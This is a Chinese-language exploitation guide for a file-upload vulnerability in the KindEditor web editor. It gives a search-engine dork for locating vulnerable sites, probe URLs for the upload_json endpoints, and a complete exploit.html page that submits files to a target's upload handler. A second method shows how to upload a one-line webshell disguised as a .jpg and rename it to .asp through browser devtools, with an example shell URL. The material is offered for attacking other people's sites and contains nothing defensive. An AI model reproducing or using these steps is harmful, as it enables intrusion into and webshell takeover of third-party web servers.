一、KindEditor
KindEditor 是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果
二、漏洞介绍
影响版本:KindEditor 3.5.2~4.1
简介:Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持
Java、.NET、PHP、ASP等程序。
漏洞存在证明:
根本脚本语言自定义不同的上传地址,上传之前有必要验证文件 upload_json.* 的存在
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
可目录变量查看是否存在脚本上传漏洞:
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
利用方式1
步骤:
- 通过搜索引擎找到目标,比如:搜索关键字 inurl:com/kindeditor
- 通过访问http://www.xx.com/kindeditor/kindeditor.js,查看kindeditor版本是否含有漏洞(<=4.1.5)
- 获得网站使用的开发语言,并确定kindeditor上传文件地址,各种语言上传地址如下:
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php - 创建exploit.html页面,编辑内容如下:
<html><head><title>kindeditor exploit</title><script src="http://www.xx.gov.cn/kindeditor/kindeditor.js"></script><script>KindEditor.ready(function(K) {var uploadbutton = K.uploadbutton({button : K('#uploadButton')[0], fieldName : 'imgFile'url : 'http://【url】/kindeditor/asp.net/upload_json.ashx?dir=file', afterUpload : function(data) {if (data.error === 0) {var url = K.formatUrl(data.url, 'absolute');K('#url').val(url);}},});uploadbutton.fileBox.change(function(e) {uploadbutton.submit();});});</script></head><body><div class="upload"><input type="button" id="uploadButton" value="Upload" /></div></body></html>
该poc上传到服务器后,即可执行上传操作:
利用方式2
打开编辑器,将一句话改名为1.jpg 上传图片,
打开文件管理,进入“down”目录,跳至尾页,最后一个图片既是我们上传的一句话
点击改名
打开谷歌浏览器的 审查元素
找到form表单
修改“jpg”为“asp”
名字修改为 1 保存
一句话就生成了,连接地址为
http://Madman.in/upfiles/down/1.asp